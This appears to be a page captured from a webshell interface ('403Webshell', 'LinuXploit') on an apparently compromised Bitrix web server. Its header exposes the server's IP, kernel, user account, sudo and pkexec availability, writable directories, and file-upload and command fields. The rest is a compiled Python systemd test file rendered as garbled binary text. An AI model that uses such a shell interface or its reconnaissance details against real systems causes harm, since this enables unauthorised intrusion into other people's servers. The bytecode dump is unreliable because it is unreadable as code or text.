403Webshell
Server IP : 80.87.202.40  /  Your IP : 216.73.216.169
Web Server : Apache
System : Linux rospirotorg.ru 5.14.0-539.el9.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Dec 5 22:26:13 UTC 2024 x86_64
User : bitrix ( 600)
PHP Version : 8.2.27
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : ON |  Perl : ON |  Python : OFF |  Sudo : ON |  Pkexec : ON
Directory :  /lib64/python3.9/site-packages/systemd/test/__pycache__/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /lib64/python3.9/site-packages/systemd/test/__pycache__/test_daemon.cpython-39.opt-1.pyc
a

�ffE(�@sZddlZddlZddlZddlZddlZddlZddlmZmZm	Z	m
Z
mZmZm
Z
mZmZmZmZmZmZmZmZddlZejdd��Zejdd��Zdd�Zd	d
�Zdd�Zd
d�Zdd�Zdd�Zdd�Z dd�Z!dd�Z"dd�Z#dd�Z$dd�Z%dd �Z&d!d"�Z'd#d$�Z(d%d&�Z)d'd(�Z*d)d*�Z+d+d,�Z,ej-d-k�rBe.Z/ne0Z/d.d/�Z1d0d1�Z2dS)2�N)�booted�is_fifo�_is_fifo�	is_socket�
_is_socket�is_socket_inet�_is_socket_inet�is_socket_unix�_is_socket_unix�is_socket_sockaddr�_is_socket_sockaddr�is_mq�_is_mq�
listen_fds�notifyc
csJz
dVWn:tyD}z"|jtjkr.t���WYd}~n
d}~00dS�N)�OSError�errnoZENOSYS�pytest�skip)�e�r�>/usr/lib64/python3.9/site-packages/systemd/test/test_daemon.py�skip_enosyss
rccsLt�|�}z"|VW|d��|d��n|d��|d��0dS)Nr�)�socketZ
socketpair�close)Zfamily�pairrrr�closing_socketpairs
�rcCstj�d�rndS)Nz/run/systemd/system)�os�path�existsrrrr�test_booted&sr"cCs.|�d�j}t�|�t�|tjtjB�}dS�N�	test.fifo)�join�strpath�posix�mkfifor�open�O_RDONLY�
O_NONBLOCK)�tmpdirr �fdrrr�
test__is_fifo.s
r.cCs2|�d�}|�d�|j}t�|tjtjB�}dS)Nr$�boo)r%�writer&rr)r*r+�r,�filer r-rrr�test__is_fifo_file6s


r3cCsd|�d�j}t�t��Wd�n1s,0Yt�t��Wd�n1sV0YdSr#�r%r&r�raisesr�r,r rrr�test__is_fifo_bad_fd?s
r7cCs:|�d�j}t�|�t�|tjtjB�}t�|d�}dS)Nr$�r)	r%r&r'r(rr)r*r+�fdopen)r,r r-r2rrr�test_is_fifoHs

r:cCs>|�d�}|�d�|j}t�|tjtjB�}t�|d�}dS)Nr$r/r8)r%r0r&rr)r*r+r9r1rrr�test_is_fifo_fileSs

r;cCsd|�d�j}t�t��Wd�n1s,0Yt�t��Wd�n1sV0YdSr#r4r6rrr�test_is_fifo_bad_fd_s
r<c
Cs6z
t|�WSty0}zWYd}~dSd}~00dS�NF)r
r��arg�errorrrr�
is_mq_wrapperhs
rAc
Cs6z
t|�WSty0}zWYd}~dSd}~00dSr=)rrr>rrr�_is_mq_wrapperps
rBc
Cs�ttj���}|D]~}t��Wd�n1s00Y|��}t��Wd�n1s^0Yt��Wd�q1s�0YqWd�n1s�0YdSr)rr�AF_UNIXr�fileno�r�sockr-rrr�test_no_mismatchxsrGcCs�ttj��x}|D]b}||��fD]*}t��Wd�q 1s@0Yq t��Wd�q1sh0YqWd�n1s�0YdSr)rrrCrDr�rrFr?rrr�test_is_socket�s rIcCsXt�t�tj����.}|�d�|��\}}d�|�}dD�]�}||��fD�]N}t��Wd�n1sn0Yt��Wd�n1s�0Yt��Wd�n1s�0Yt��Wd�n1s�0Yt��Wd�n1�s0Yt	�
t��t|ddd�Wd�n1�sB0Yt��Wd�n1�sj0Yt��Wd�qL1�s�0YqLt	�
t��t
|ddd�Wd�n1�s�0Yt��Wd�n1�s�0Yt��Wd�n1�s0Y|�d�q:Wd�n1�sJ0YdS)	N)�	127.0.0.1rz:{})rrrJi@�)Zflowinfor�)�
contextlib�closingrZAF_INET�bindZgetsockname�formatrDrrr5�
ValueErrorrrZlisten)rFZaddr�portZ	listeningr?rrr�test_is_socket_sockaddr�s:


 . ".  rRcCs@ttj��"}|D]}|��}qWd�n1s20YdSr�rrrCrDrErrr�test__is_socket�srTcCsJttj��,}|D]}||��fD]}q qWd�n1s<0YdSrrSrHrrr�test_is_socket_unix�srUcCs@ttj��"}|D]}|��}qWd�n1s20YdSrrSrErrr�test__is_socket_unix�srVcCst�d�t�d�dS)N�
LISTEN_FDS�
LISTEN_PID)r�unsetenvrrrr�test_listen_fds_no_fds�s

rZcCs dtjd<tt���tjd<dS)N�3rWrX�r�environ�str�getpidrrrr�test_listen_fds�s
r`cCs dtjd<tt���tjd<dS)N�1rWrXr\rrrr�test_listen_fds_default_unset�s
rbcCs8tj�dd�t��Wd�n1s*0YdS)N�
NOTIFY_SOCKET)rr]�poprrrrr�test_notify_no_socketsre)�c	CsPdtjd<t�t��td�Wd�n1s20Yt�t��Bt��tdgd�Wd�n1sp0YWd�n1s�0Yt�t�� tdddgd�Wd�n1s�0Yt�t�� tdt��d�Wd�n1�s0Yt�t��"tdt��d	d
�Wd�n1�sB0YdS)Nz	/dev/nullrczREADY=1z	FDSTORE=1)�fdsr�)�pid)r)rirg)rr]rr5�connection_errorrrr_rrrr�test_notify_bad_sockets
&H.0rkc
Cs�|�d�j}t�tjtj�}z|�|�Wn4tjy^}zt�d|�WYd}~n
d}~00t	tdd�}|�
tj|d�|tj
d<t��Wd�n1s�0YdS)Nrzfailed to bind socket (%s)�SO_PASSCRED�rrc)r%r&rrCZ
SOCK_DGRAMrNr@rZxfail�getattrZ
setsockoptZ
SOL_SOCKETrr]r)r,r rFrrlrrr�test_notify_with_socket!s$
ro)3�sysrr'rrLrZsystemd.daemonrrrrrrrr	r
rrr
rrrr�contextmanagerrrr"r.r3r7r:r;r<rArBrGrIrRrTrUrVrZr`rbre�version_info�ConnectionRefusedErrorrjrrkrorrrr�<module>sFD


				&			


Youez - 2016 - github.com/yon3zu
LinuXploit